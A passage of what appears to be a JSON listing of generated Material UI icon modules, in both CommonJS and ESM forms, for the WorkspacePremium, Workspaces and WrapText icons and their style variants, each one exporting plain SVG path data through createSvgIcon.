    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}), 'WorkspacePremium');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremium.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}), 'WorkspacePremium');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 15-4 1.02v-3.1c1.18.68 2.54 1.08 4 1.08s2.82-.4 4-1.08v3.1z\"\n}), 'WorkspacePremiumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 15-4 1.02v-3.1c1.18.68 2.54 1.08 4 1.08s2.82-.4 4-1.08v3.1z\"\n}), 'WorkspacePremiumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.92 12.75 1.08-.82 1.07.81c.39.29.92-.08.78-.55l-.42-1.36 1.2-.95c.37-.28.16-.88-.32-.88h-1.4l-.43-1.34c-.15-.46-.8-.46-.95 0L11.09 9H9.68c-.47 0-.68.6-.31.89l1.19.95-.42 1.36c-.14.47.39.84.78.55M6 21.61c0 .68.67 1.16 1.32.95L12 21l4.68 1.56c.65.22 1.32-.26 1.32-.95v-6.33c1.24-1.41 2-3.25 2-5.28 0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28zM12 4c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}), 'WorkspacePremiumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.92 12.75 1.08-.82 1.07.81c.39.29.92-.08.78-.55l-.42-1.36 1.2-.95c.37-.28.16-.88-.32-.88h-1.4l-.43-1.34c-.15-.46-.8-.46-.95 0L11.09 9H9.68c-.47 0-.68.6-.31.89l1.19.95-.42 1.36c-.14.47.39.84.78.55M6 21.61c0 .68.67 1.16 1.32.95L12 21l4.68 1.56c.65.22 1.32-.26 1.32-.95v-6.33c1.24-1.41 2-3.25 2-5.28 0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28zM12 4c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}), 'WorkspacePremiumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}), 'WorkspacePremiumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}), 'WorkspacePremiumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.31 9.69L12 11.93l-2.32 1.76.88-2.85L8.25 9h2.84L12 6.19 12.91 9h2.84l-2.32 1.84zM12 19l-4 1.02v-3.1c1.18.68 2.54 1.08 4 1.08s2.82-.4 4-1.08v3.1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 15-4 1.02v-3.1c1.18.68 2.54 1.08 4 1.08s2.82-.4 4-1.08v3.1z\"\n}, \"1\")], 'WorkspacePremiumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremiumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m2.31 9.69L12 11.93l-2.32 1.76.88-2.85L8.25 9h2.84L12 6.19 12.91 9h2.84l-2.32 1.84zM12 19l-4 1.02v-3.1c1.18.68 2.54 1.08 4 1.08s2.82-.4 4-1.08v3.1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.68 13.69 12 11.93l2.31 1.76-.88-2.85L15.75 9h-2.84L12 6.19 11.09 9H8.25l2.31 1.84zM20 10c0-4.42-3.58-8-8-8s-8 3.58-8 8c0 2.03.76 3.87 2 5.28V23l6-2 6 2v-7.72c1.24-1.41 2-3.25 2-5.28m-8-6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0 15-4 1.02v-3.1c1.18.68 2.54 1.08 4 1.08s2.82-.4 4-1.08v3.1z\"\n}, \"1\")], 'WorkspacePremiumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Workspaces.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'Workspaces');"
  },
  {
    "path": "packages/mui-icons-material/lib/Workspaces.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'Workspaces');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 12c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 12c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 12c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 12c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0-2c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6-10C9.8 3 8 4.8 8 7s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m6 10c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4\"\n}), 'WorkspacesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"7\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M16 7c0-2.2-1.8-4-4-4S8 4.8 8 7s1.8 4 4 4 4-1.8 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"3\")], 'WorkspacesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"7\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"17\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M6 13c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M16 7c0-2.2-1.8-4-4-4S8 4.8 8 7s1.8 4 4 4 4-1.8 4-4m-4 2c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"3\")], 'WorkspacesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapText.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h6v-2H4zM20 5H4v2h16zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}), 'WrapText');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapText.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h6v-2H4zM20 5H4v2h16zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}), 'WrapText');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapTextOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h6v-2H4zM20 5H4v2h16zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}), 'WrapTextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapTextOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h6v-2H4zM20 5H4v2h16zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}), 'WrapTextOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapTextRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 7h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m11.83 4H5c-.55 0-1 .45-1 1s.45 1 1 1h12.13c1 0 1.93.67 2.09 1.66.21 1.25-.76 2.34-1.97 2.34H15v-.79c0-.45-.54-.67-.85-.35l-1.79 1.79c-.2.2-.2.51 0 .71l1.79 1.79c.32.32.85.09.85-.35V19h2c2.34 0 4.21-2.01 3.98-4.39-.2-2.08-2.06-3.61-4.15-3.61M9 17H5c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'WrapTextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapTextRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 7h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1m11.83 4H5c-.55 0-1 .45-1 1s.45 1 1 1h12.13c1 0 1.93.67 2.09 1.66.21 1.25-.76 2.34-1.97 2.34H15v-.79c0-.45-.54-.67-.85-.35l-1.79 1.79c-.2.2-.2.51 0 .71l1.79 1.79c.32.32.85.09.85-.35V19h2c2.34 0 4.21-2.01 3.98-4.39-.2-2.08-2.06-3.61-4.15-3.61M9 17H5c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'WrapTextRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapTextSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h6v-2H4zM20 5H4v2h16zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}), 'WrapTextSharp');"
  },
  {
